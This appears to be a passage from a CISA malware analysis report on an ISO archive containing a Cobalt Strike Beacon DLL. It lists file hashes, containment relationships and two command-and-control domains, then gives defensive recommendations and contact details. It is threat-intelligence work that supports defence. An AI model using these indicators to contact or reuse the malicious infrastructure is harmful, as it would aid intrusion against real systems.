ssdeep	196608:MMWitOVKn+ZCZQkpyjdYmsm+xRC+0Ezmr3ra3chWJWMeZv2SxQUWuO:fkU+ZCNKp+nzmrrascT2vZ4
Entropy	7.187756

Antivirus

No matches found.

YARA Rules

No matches found.

ssdeep Matches

No matches found.

Relationships

d035d394a8...	Contains	ee44c0692fd2ab2f01d17ca4b58ca6c7f79388cbc681f885bb17ec946514088c

Description

This file is an ISO archive file containing three files including a malicious DLL library named "Documents.dll" (ee42ddacbd202008bcc1312e548e1d9ac670dd3d86c999606a3a01d464a2a330). This DLL application has been identified as a custom Cobalt Strike Beacon Version 4 implant. This archive file is corrupt preventing the remaining files "ICA_DECL.PDF" and "REPORT.LNK" from being extracted.

Relationship Summary

2523f94bd4...	Contains	ee44c0692fd2ab2f01d17ca4b58ca6c7f79388cbc681f885bb17ec946514088c
2523f94bd4...	Contains	7d34f25ad8099bd069c5a04799299f17d127a3866b77ee34ffb59cfd36e29673
2523f94bd4...	Contains	48b5fb3fa3ea67c2bc0086c41ec755c39d748a7100d71b81f618e82bf1c479f0
7d34f25ad8...	Contained_Within	2523f94bd4fba4af76f4411fe61084a7e7d80dec163c9ccba9226c80b8b31252

7d34f25ad8...	Contained_Within	94786066a64c0eb260a28a2959fcd31d63d175ade8b05ae682d3f6f9b2a5a916
48b5fb3fa3...	Contained_Within	2523f94bd4fba4af76f4411fe61084a7e7d80dec163c9ccba9226c80b8b31252
48b5fb3fa3...	Contained_Within	94786066a64c0eb260a28a2959fcd31d63d175ade8b05ae682d3f6f9b2a5a916
48b5fb3fa3...	Related_To	ee44c0692fd2ab2f01d17ca4b58ca6c7f79388cbc681f885bb17ec946514088c
48b5fb3fa3...	Related_To	ee42ddacbd202008bcc1312e548e1d9ac670dd3d86c999606a3a01d464a2a330
ee44c0692f...	Contained_Within	2523f94bd4fba4af76f4411fe61084a7e7d80dec163c9ccba9226c80b8b31252
ee44c0692f...	Contained_Within	d035d394a82ae1e44b25e273f99eae8e2369da828d6b6fdb95076fd3eb5de142
ee44c0692f...	Related_To	48b5fb3fa3ea67c2bc0086c41ec755c39d748a7100d71b81f618e82bf1c479f0
ee44c0692f...	Connected_To	theyardservice.com
ee44c0692f...	Connected_To	worldhomeoutlet.com
theyardservice.com	Connected_From	ee44c0692fd2ab2f01d17ca4b58ca6c7f79388cbc681f885bb17ec946514088c
theyardservice.com	Connected_From	ee42ddacbd202008bcc1312e548e1d9ac670dd3d86c999606a3a01d464a2a330
worldhomeoutlet.com	Connected_From	ee44c0692fd2ab2f01d17ca4b58ca6c7f79388cbc681f885bb17ec946514088c
worldhomeoutlet.com	Connected_From	ee42ddacbd202008bcc1312e548e1d9ac670dd3d86c999606a3a01d464a2a330
94786066a6...	Contains	7d34f25ad8099bd069c5a04799299f17d127a3866b77ee34ffb59cfd36e29673
94786066a6...	Contains	48b5fb3fa3ea67c2bc0086c41ec755c39d748a7100d71b81f618e82bf1c479f0
94786066a6...	Contains	ee42ddacbd202008bcc1312e548e1d9ac670dd3d86c999606a3a01d464a2a330
ee42ddacbd...	Contained_Within	94786066a64c0eb260a28a2959fcd31d63d175ade8b05ae682d3f6f9b2a5a916
ee42ddacbd...	Related_To	48b5fb3fa3ea67c2bc0086c41ec755c39d748a7100d71b81f618e82bf1c479f0
ee42ddacbd...	Connected_To	theyardservice.com
ee42ddacbd...	Connected_To	worldhomeoutlet.com
d035d394a8...	Contains	ee44c0692fd2ab2f01d17ca4b58ca6c7f79388cbc681f885bb17ec946514088c

Recommendations

CISA recommends that users and administrators consider using the following best practices to strengthen the security posture of their organization's systems. Any configuration changes should be reviewed by system owners and administrators prior to implementation to avoid unwanted impacts.

- Maintain up-to-date antivirus signatures and engines.
- Keep operating system patches up-to-date.
- Disable File and Printer sharing services. If these services are required, use strong passwords or Active Directory authentication.
- Restrict users' ability (permissions) to install and run unwanted software applications. Do not add users to the local administrators group unless required.
- Enforce a strong password policy and implement regular password changes.
- Exercise caution when opening e-mail attachments even if the attachment is expected and the sender appears to be known.
- Enable a personal firewall on agency workstations, configured to deny unsolicited connection requests.
- Disable unnecessary services on agency workstations and servers.
- Scan for and remove suspicious e-mail attachments; ensure the scanned attachment is its "true file type" (i.e., the extension matches the file header).
- Monitor users' web browsing habits; restrict access to sites with unfavorable content.
- Exercise caution when using removable media (e.g., USB thumb drives, external drives, CDs, etc.).
- Scan all software downloaded from the Internet prior to executing.
- Maintain situational awareness of the latest threats and implement appropriate Access Control Lists (ACLs).

Additional information on malware incident prevention and handling can be found in National Institute of Standards and Technology (NIST) Special Publication 800-83, **"Guide to Malware Incident Prevention & Handling for Desktops and Laptops".**

Contact Information

Document FAQ

What is a MIFR? A Malware Initial Findings Report (MIFR) is intended to provide organizations with malware analysis in a timely manner. In most instances this report will provide initial indicators for computer and network defense. To request additional analysis, please contact CISA and provide information regarding the level of desired analysis.

What is a MAR? A Malware Analysis Report (MAR) is intended to provide organizations with more detailed malware analysis acquired via manual reverse engineering. To request additional analysis, please contact CISA and provide information regarding the level of desired analysis.

Can I edit this document? This document is not to be edited in any way by recipients. All comments or questions related to this document should be directed to the CISA at 1-888-282-0870 or CISA Central.

Can I submit malware to CISA? Malware samples can be submitted via three methods:

- Web: https://malware.us-cert.gov
- E-Mail: submit@malware.us-cert.gov
- FTP: ftp.malware.us-cert.gov (anonymous)

CISA encourages you to report any suspicious activity, including cybersecurity incidents, possible malicious code, software vulnerabilities, and phishing-related scams. Reporting forms can be found on CISA's homepage at www.cisa.gov.
